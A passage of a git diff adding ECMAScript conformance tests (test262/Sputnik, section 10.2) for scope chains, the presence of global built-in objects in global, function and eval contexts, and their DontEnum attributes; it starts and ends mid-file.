+ * @description Checking scope chain containing function declarations and "with"
+ * @noStrict
+ */
+
+var x = 0;
+
+var myObj = {x : "obj"};
+
+function f1(){
+ function f2(){
+ with(myObj){
+ return x;
+ }
+ };
+
+ var x = 1;
+ return f2();
+}
+
+if(!(f1() === "obj")){
+ $ERROR("#1: Scope chain disturbed");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T9.js b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T9.js
new file mode 100644
index 000000000..c03fdd1cf
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/S10.2.2_A1_T9.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every execution context has associated with it a scope chain.
+ * A scope chain is a list of objects that are searched when evaluating an
+ * Identifier
+ *
+ * @path ch10/10.2/10.2.2/S10.2.2_A1_T9.js
+ * @description Checking scope chain containing function declarations and "with"
+ * @noStrict
+ */
+
+var x = 0;
+
+var myObj = {x : "obj"};
+
+function f1(){
+ with(myObj){
+ return x;
+ }
+}
+
+if(!(f1() === "obj")){
+ $ERROR("#1: Scope chain disturbed");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/browser.js b/js/src/tests/test262/ch10/10.2/10.2.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/browser.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.2/shell.js b/js/src/tests/test262/ch10/10.2/10.2.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.2/shell.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T1.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T1.js
new file mode 100644
index 000000000..6a133d788
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.1_T1.js
+ * @description Global execution context - Value Properties
+ */
+
+//CHECK#1
+if ( NaN === null ) {
+ $ERROR("#1: NaN === null");
+}
+
+//CHECK#2
+if ( Infinity === null ) {
+ $ERROR("#2: Infinity === null");
+}
+
+//CHECK#3
+if ( undefined === null ) {
+ $ERROR("#3: undefined === null");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T2.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T2.js
new file mode 100644
index 000000000..1fafadc99
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T2.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.1_T2.js
+ * @description Global execution context - Function Properties
+ */
+
+//CHECK#4
+if ( eval === null ) {
+ $ERROR("#4: eval === null");
+}
+
+//CHECK#5
+if ( parseInt === null ) {
+ $ERROR("#5: parseInt === null");
+}
+
+//CHECK#6
+if ( parseFloat === null ) {
+ $ERROR("#6: parseFloat === null");
+}
+
+//CHECK#7
+if ( isNaN === null ) {
+ $ERROR("#7: isNaN === null");
+}
+
+//CHECK#8
+if ( isFinite === null ) {
+ $ERROR("#8: isFinite === null");
+}
+
+//CHECK#9
+if ( decodeURI === null ) {
+ $ERROR("#9: decodeURI === null");
+}
+
+//CHECK#10
+if ( decodeURIComponent === null ) {
+ $ERROR("#10: decodeURIComponent === null");
+}
+
+//CHECK#11
+if ( encodeURI === null ) {
+ $ERROR("#11: encodeURI === null");
+}
+
+//CHECK#12
+if ( encodeURIComponent === null ) {
+ $ERROR("#12: encodeURIComponent === null");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T3.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T3.js
new file mode 100644
index 000000000..3407039e8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T3.js
@@ -0,0 +1,87 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.1_T3.js
+ * @description Global execution context - Constructor Properties
+ */
+
+//CHECK#13
+if ( Object === null ) {
+ $ERROR("#13: Object === null");
+}
+
+//CHECK#14
+if ( Function === null ) {
+ $ERROR("#14: Function === null");
+}
+
+//CHECK#15
+if ( String === null ) {
+ $ERROR("#15: String === null");
+}
+
+//CHECK#16
+if ( Number === null ) {
+ $ERROR("#16: Number === null");
+}
+
+//CHECK#17
+if ( Array === null ) {
+ $ERROR("#17: Array === null");
+}
+
+//CHECK#18
+if ( Boolean === null ) {
+ $ERROR("#20: Boolean === null");
+}
+
+//CHECK#18
+if ( Date === null ) {
+ $ERROR("#18: Date === null");
+}
+
+//CHECK#19
+if ( RegExp === null ) {
+ $ERROR("#19: RegExp === null");
+}
+
+//CHECK#20
+if ( Error === null ) {
+ $ERROR("#20: Error === null");
+}
+
+//CHECK#21
+if ( EvalError === null ) {
+ $ERROR("#21: EvalError === null");
+}
+
+//CHECK#22
+if ( RangeError === null ) {
+ $ERROR("#22: RangeError === null");
+}
+
+//CHECK#23
+if ( ReferenceError === null ) {
+ $ERROR("#23: ReferenceError === null");
+}
+
+//CHECK#24
+if ( SyntaxError === null ) {
+ $ERROR("#24: SyntaxError === null");
+}
+
+//CHECK#25
+if ( TypeError === null ) {
+ $ERROR("#25: TypeError === null");
+}
+
+//CHECK#26
+if ( URIError === null ) {
+ $ERROR("#26: URIError === null");
+}
+
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T4.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T4.js
new file mode 100644
index 000000000..f59cc646e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.1_T4.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.1_T4.js
+ * @description Global execution context - Other Properties
+ */
+
+//CHECK#27
+if ( Math === null ) {
+ $ERROR("#27: Math === null");
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T1.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T1.js
new file mode 100644
index 000000000..a6b6c4bbf
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.2_T1.js
+ * @description Function execution context - Value Properties
+ */
+
+function test() {
+ //CHECK#1
+ if ( NaN === null ) {
+ $ERROR("#1: NaN === null");
+ }
+
+ //CHECK#2
+ if ( Infinity === null ) {
+ $ERROR("#2: Infinity === null");
+ }
+
+ //CHECK#3
+ if ( undefined === null ) {
+ $ERROR("#3: undefined === null");
+ }
+}
+
+test();
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T2.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T2.js
new file mode 100644
index 000000000..45ca89f36
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.2_T2.js
+ * @description Function execution context - Function Properties
+ */
+
+function test() {
+ //CHECK#4
+ if ( eval === null ) {
+ $ERROR("#4: eval === null");
+ }
+
+ //CHECK#5
+ if ( parseInt === null ) {
+ $ERROR("#5: parseInt === null");
+ }
+
+ //CHECK#6
+ if ( parseFloat === null ) {
+ $ERROR("#6: parseFloat === null");
+ }
+
+ //CHECK#7
+ if ( isNaN === null ) {
+ $ERROR("#7: isNaN === null");
+ }
+
+ //CHECK#8
+ if ( isFinite === null ) {
+ $ERROR("#8: isFinite === null");
+ }
+
+ //CHECK#9
+ if ( decodeURI === null ) {
+ $ERROR("#9: decodeURI === null");
+ }
+
+ //CHECK#10
+ if ( decodeURIComponent === null ) {
+ $ERROR("#10: decodeURIComponent === null");
+ }
+
+ //CHECK#11
+ if ( encodeURI === null ) {
+ $ERROR("#11: encodeURI === null");
+ }
+
+ //CHECK#12
+ if ( encodeURIComponent === null ) {
+ $ERROR("#12: encodeURIComponent === null");
+ }
+}
+
+test();
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T3.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T3.js
new file mode 100644
index 000000000..295943cb7
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T3.js
@@ -0,0 +1,90 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.2_T3.js
+ * @description Function execution context - Constructor Properties
+ */
+
+function test() {
+ //CHECK#13
+ if ( Object === null ) {
+ $ERROR("#13: Object === null");
+ }
+
+ //CHECK#14
+ if ( Function === null ) {
+ $ERROR("#14: Function === null");
+ }
+
+ //CHECK#15
+ if ( String === null ) {
+ $ERROR("#15: String === null");
+ }
+
+ //CHECK#16
+ if ( Number === null ) {
+ $ERROR("#16: Function === null");
+ }
+
+ //CHECK#17
+ if ( Array === null ) {
+ $ERROR("#17: Array === null");
+ }
+
+ //CHECK#18
+ if ( Boolean === null ) {
+ $ERROR("#20: Boolean === null");
+ }
+
+ //CHECK#18
+ if ( Date === null ) {
+ $ERROR("#18: Date === null");
+ }
+
+ //CHECK#19
+ if ( RegExp === null ) {
+ $ERROR("#19: RegExp === null");
+ }
+
+ //CHECK#20
+ if ( Error === null ) {
+ $ERROR("#20: Error === null");
+ }
+
+ //CHECK#21
+ if ( EvalError === null ) {
+ $ERROR("#21: EvalError === null");
+ }
+
+ //CHECK#22
+ if ( RangeError === null ) {
+ $ERROR("#22: RangeError === null");
+ }
+
+ //CHECK#23
+ if ( ReferenceError === null ) {
+ $ERROR("#23: ReferenceError === null");
+ }
+
+ //CHECK#24
+ if ( SyntaxError === null ) {
+ $ERROR("#24: SyntaxError === null");
+ }
+
+ //CHECK#25
+ if ( TypeError === null ) {
+ $ERROR("#25: TypeError === null");
+ }
+
+ //CHECK#26
+ if ( URIError === null ) {
+ $ERROR("#26: URIError === null");
+ }
+}
+
+test();
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T4.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T4.js
new file mode 100644
index 000000000..01d02fb39
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.2_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.2_T4.js
+ * @description Function execution context - Other Properties
+ */
+
+function test() {
+ //CHECK#27
+ if ( Math === null ) {
+ $ERROR("#27: Math === null");
+ }
+}
+
+test();
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T1.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T1.js
new file mode 100644
index 000000000..695f0acf5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.3_T1.js
+ * @description Eval execution context - Value Properties
+ */
+
+var evalStr =
+'//CHECK#1\n'+
+'if ( NaN === null ) {\n'+
+' $ERROR("#1: NaN === null");\n'+
+'}\n'+
+
+'//CHECK#2\n'+
+'if ( Infinity === null ) {\n'+
+' $ERROR("#2: Infinity === null");\n'+
+'}\n'+
+
+'//CHECK#3\n'+
+'if ( undefined === null ) {\n'+
+' $ERROR("#3: undefined === null");\n'+
+'}\n'+
+';\n';
+
+eval(evalStr);
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T2.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T2.js
new file mode 100644
index 000000000..5afd0ef93
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.3_T2.js
+ * @description Eval execution context - Function Properties
+ */
+
+var evalStr =
+'//CHECK#4\n'+
+'if ( eval === null ) {\n'+
+' $ERROR("#4: eval === null");\n'+
+'}\n'+
+
+'//CHECK#5\n'+
+'if ( parseInt === null ) {\n'+
+' $ERROR("#5: parseInt === null");\n'+
+'}\n'+
+
+'//CHECK#6\n'+
+'if ( parseFloat === null ) {\n'+
+' $ERROR("#6: parseFloat === null");\n'+
+'}\n'+
+
+'//CHECK#7\n'+
+'if ( isNaN === null ) {\n'+
+' $ERROR("#7: isNaN === null");\n'+
+'}\n'+
+
+'//CHECK#8\n'+
+'if ( isFinite === null ) {\n'+
+' $ERROR("#8: isFinite === null");\n'+
+'}\n'+
+
+'//CHECK#9\n'+
+'if ( decodeURI === null ) {\n'+
+' $ERROR("#9: decodeURI === null");\n'+
+'}\n'+
+
+'//CHECK#10\n'+
+'if ( decodeURIComponent === null ) {\n'+
+' $ERROR("#10: decodeURIComponent === null");\n'+
+'}\n'+
+
+'//CHECK#11\n'+
+'if ( encodeURI === null ) {\n'+
+' $ERROR("#11: encodeURI === null");\n'+
+'}\n'+
+
+'//CHECK#12\n'+
+'if ( encodeURIComponent === null ) {\n'+
+' $ERROR("#12: encodeURIComponent === null");\n'+
+'}\n'+
+';\n';
+
+eval(evalStr);
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T3.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T3.js
new file mode 100644
index 000000000..b34b1e252
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T3.js
@@ -0,0 +1,90 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.3_T3.js
+ * @description Eval execution context - Constructor Properties
+ */
+
+var evalStr =
+'//CHECK#13\n'+
+'if ( Object === null ) {\n'+
+' $ERROR("#13: Object === null");\n'+
+'}\n'+
+
+'//CHECK#14\n'+
+'if ( Function === null ) {\n'+
+' $ERROR("#14: Function === null");\n'+
+'}\n'+
+
+'//CHECK#15\n'+
+'if ( String === null ) {\n'+
+' $ERROR("#15: String === null");\n'+
+'}\n'+
+
+'//CHECK#16\n'+
+'if ( Number === null ) {\n'+
+' $ERROR("#16: Function === null");\n'+
+'}\n'+
+
+'//CHECK#17\n'+
+'if ( Array === null ) {\n'+
+' $ERROR("#17: Array === null");\n'+
+'}\n'+
+
+'//CHECK#18\n'+
+'if ( Boolean === null ) {\n'+
+' $ERROR("#20: Boolean === null");\n'+
+'}\n'+
+
+'//CHECK#18\n'+
+'if ( Date === null ) {\n'+
+' $ERROR("#18: Date === null");\n'+
+'}\n'+
+
+'//CHECK#19\n'+
+'if ( RegExp === null ) {\n'+
+' $ERROR("#19: RegExp === null");\n'+
+'}\n'+
+
+'//CHECK#20\n'+
+'if ( Error === null ) {\n'+
+' $ERROR("#20: Error === null");\n'+
+'}\n'+
+
+'//CHECK#21\n'+
+'if ( EvalError === null ) {\n'+
+' $ERROR("#21: EvalError === null");\n'+
+'}\n'+
+
+'//CHECK#22\n'+
+'if ( RangeError === null ) {\n'+
+' $ERROR("#22: RangeError === null");\n'+
+'}\n'+
+
+'//CHECK#23\n'+
+'if ( ReferenceError === null ) {\n'+
+' $ERROR("#23: ReferenceError === null");\n'+
+'}\n'+
+
+'//CHECK#24\n'+
+'if ( SyntaxError === null ) {\n'+
+' $ERROR("#24: SyntaxError === null");\n'+
+'}\n'+
+
+'//CHECK#25\n'+
+'if ( TypeError === null ) {\n'+
+' $ERROR("#25: TypeError === null");\n'+
+'}\n'+
+
+'//CHECK#26\n'+
+'if ( URIError === null ) {\n'+
+' $ERROR("#26: URIError === null");\n'+
+'}\n'+
+';\n';
+
+eval(evalStr);
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T4.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T4.js
new file mode 100644
index 000000000..054969ce2
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A1.3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object has properties such as built-in objects such as
+ * Math, String, Date, parseInt, etc
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A1.3_T4.js
+ * @description Eval execution context - Other Properties
+ */
+
+var evalStr =
+'//CHECK#27\n'+
+'if ( Math === null ) {\n'+
+' $ERROR("#27: Math === null");\n'+
+'}\n'+
+';\n';
+
+eval(evalStr);
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T1.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T1.js
new file mode 100644
index 000000000..db57ad5ba
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.1_T1.js
+ * @description Global execution context - Value Properties
+ */
+
+//CHECK#1
+for (var x in this) {
+ if ( x === 'NaN' ) {
+ $ERROR("#1: 'NaN' have attribute DontEnum");
+ } else if ( x === 'Infinity' ) {
+ $ERROR("#1: 'Infinity' have attribute DontEnum");
+ } else if ( x === 'undefined' ) {
+ $ERROR("#1: 'undefined' have attribute DontEnum");
+ }
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T2.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T2.js
new file mode 100644
index 000000000..6a39d43a1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.1_T2.js
+ * @description Global execution context - Function Properties
+ */
+
+//CHECK#1
+for (var x in this) {
+ if ( x === 'eval' ) {
+ $ERROR("#1: 'eval' have attribute DontEnum");
+ } else if ( x === 'parseInt' ) {
+ $ERROR("#1: 'parseInt' have attribute DontEnum");
+ } else if ( x === 'parseFloat' ) {
+ $ERROR("#1: 'parseFloat' have attribute DontEnum");
+ } else if ( x === 'isNaN' ) {
+ $ERROR("#1: 'isNaN' have attribute DontEnum");
+ } else if ( x === 'isFinite' ) {
+ $ERROR("#1: 'isFinite' have attribute DontEnum");
+ } else if ( x === 'decodeURI' ) {
+ $ERROR("#1: 'decodeURI' have attribute DontEnum");
+ } else if ( x === 'decodeURIComponent' ) {
+ $ERROR("#1: 'decodeURIComponent' have attribute DontEnum");
+ } else if ( x === 'encodeURI' ) {
+ $ERROR("#1: 'encodeURI' have attribute DontEnum");
+ } else if ( x === 'encodeURIComponent' ) {
+ $ERROR("#1: 'encodeURIComponent' have attribute DontEnum");
+ }
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T3.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T3.js
new file mode 100644
index 000000000..c684a649a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T3.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.1_T3.js
+ * @description Global execution context - Constructor Properties
+ */
+
+//CHECK#1
+for (var x in this) {
+ if ( x === 'Object' ) {
+ $ERROR("#1: 'property 'Object' have attribute DontEnum");
+ } else if ( x === 'Function') {
+ $ERROR("#1: 'Function' have attribute DontEnum");
+ } else if ( x === 'String' ) {
+ $ERROR("#1: 'String' have attribute DontEnum");
+ } else if ( x === 'Number' ) {
+ $ERROR("#1: 'Number' have attribute DontEnum");
+ } else if ( x === 'Array' ) {
+ $ERROR("#1: 'Array' have attribute DontEnum");
+ } else if ( x === 'Boolean' ) {
+ $ERROR("#1: 'Boolean' have attribute DontEnum");
+ } else if ( x === 'Date' ) {
+ $ERROR("#1: 'Date' have attribute DontEnum");
+ } else if ( x === 'RegExp' ) {
+ $ERROR("#1: 'RegExp' have attribute DontEnum");
+ } else if ( x === 'Error' ) {
+ $ERROR("#1: 'Error' have attribute DontEnum");
+ } else if ( x === 'EvalError' ) {
+ $ERROR("#1: 'EvalError' have attribute DontEnum");
+ } else if ( x === 'RangeError' ) {
+ $ERROR("#1: 'RangeError' have attribute DontEnum");
+ } else if ( x === 'ReferenceError' ) {
+ $ERROR("#1: 'ReferenceError' have attribute DontEnum");
+ } else if ( x === 'SyntaxError' ) {
+ $ERROR("#1: 'SyntaxError' have attribute DontEnum");
+ } else if ( x === 'TypeError' ) {
+ $ERROR("#1: 'TypeError' have attribute DontEnum");
+ } else if ( x === 'URIError' ) {
+ $ERROR("#1: 'URIError' have attribute DontEnum");
+ }
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T4.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T4.js
new file mode 100644
index 000000000..cb575c533
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.1_T4.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.1_T4.js
+ * @description Global execution context - Other Properties
+ */
+
+//CHECK#1
+for (var x in this) {
+ if ( x === 'Math' ) {
+ $ERROR("#1: 'Math' have attribute DontEnum");
+ }
+}
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T1.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T1.js
new file mode 100644
index 000000000..808cc1b60
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.2_T1.js
+ * @description Function execution context - Value Properties
+ */
+
+function test() {
+ //CHECK#1
+ for (var x in this) {
+ if ( x === 'NaN' ) {
+ $ERROR("#1: 'NaN' have attribute DontEnum");
+ } else if ( x === 'Infinity' ) {
+ $ERROR("#1: 'Infinity' have attribute DontEnum");
+ } else if ( x === 'undefined' ) {
+ $ERROR("#1: 'undefined' have attribute DontEnum");
+ }
+ }
+}
+
+test();
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T2.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T2.js
new file mode 100644
index 000000000..ac87a58ef
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T2.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.2_T2.js
+ * @description Function execution context - Function Properties
+ */
+
+function test() {
+ //CHECK#1
+ for (var x in this) {
+ if ( x === 'eval' ) {
+ $ERROR("#1: 'eval' have attribute DontEnum");
+ } else if ( x === 'parseInt' ) {
+ $ERROR("#1: 'parseInt' have attribute DontEnum");
+ } else if ( x === 'parseFloat' ) {
+ $ERROR("#1: 'parseFloat' have attribute DontEnum");
+ } else if ( x === 'isNaN' ) {
+ $ERROR("#1: 'isNaN' have attribute DontEnum");
+ } else if ( x === 'isFinite' ) {
+ $ERROR("#1: 'isFinite' have attribute DontEnum");
+ } else if ( x === 'decodeURI' ) {
+ $ERROR("#1: 'decodeURI' have attribute DontEnum");
+ } else if ( x === 'decodeURIComponent' ) {
+ $ERROR("#1: 'decodeURIComponent' have attribute DontEnum");
+ } else if ( x === 'encodeURI' ) {
+ $ERROR("#1: 'encodeURI' have attribute DontEnum");
+ } else if ( x === 'encodeURIComponent' ) {
+ $ERROR("#1: 'encodeURIComponent' have attribute DontEnum");
+ }
+ }
+}
+
+test();
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T3.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T3.js
new file mode 100644
index 000000000..e6f5f4ac7
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T3.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.2_T3.js
+ * @description Function execution context - Constructor Properties
+ */
+
+function test() {
+ //CHECK#1
+ for (var x in this) {
+ if ( x === 'Object' ) {
+ $ERROR("#1: 'property 'Object' have attribute DontEnum");
+ } else if ( x === 'Function') {
+ $ERROR("#1: 'Function' have attribute DontEnum");
+ } else if ( x === 'String' ) {
+ $ERROR("#1: 'String' have attribute DontEnum");
+ } else if ( x === 'Number' ) {
+ $ERROR("#1: 'Number' have attribute DontEnum");
+ } else if ( x === 'Array' ) {
+ $ERROR("#1: 'Array' have attribute DontEnum");
+ } else if ( x === 'Boolean' ) {
+ $ERROR("#1: 'Boolean' have attribute DontEnum");
+ } else if ( x === 'Date' ) {
+ $ERROR("#1: 'Date' have attribute DontEnum");
+ } else if ( x === 'RegExp' ) {
+ $ERROR("#1: 'RegExp' have attribute DontEnum");
+ } else if ( x === 'Error' ) {
+ $ERROR("#1: 'Error' have attribute DontEnum");
+ } else if ( x === 'EvalError' ) {
+ $ERROR("#1: 'EvalError' have attribute DontEnum");
+ } else if ( x === 'RangeError' ) {
+ $ERROR("#1: 'RangeError' have attribute DontEnum");
+ } else if ( x === 'ReferenceError' ) {
+ $ERROR("#1: 'ReferenceError' have attribute DontEnum");
+ } else if ( x === 'SyntaxError' ) {
+ $ERROR("#1: 'SyntaxError' have attribute DontEnum");
+ } else if ( x === 'TypeError' ) {
+ $ERROR("#1: 'TypeError' have attribute DontEnum");
+ } else if ( x === 'URIError' ) {
+ $ERROR("#1: 'URIError' have attribute DontEnum");
+ }
+ }
+}
+
+test();
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T4.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T4.js
new file mode 100644
index 000000000..3a6afa5cc
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.2_T4.js
@@ -0,0 +1,21 @@
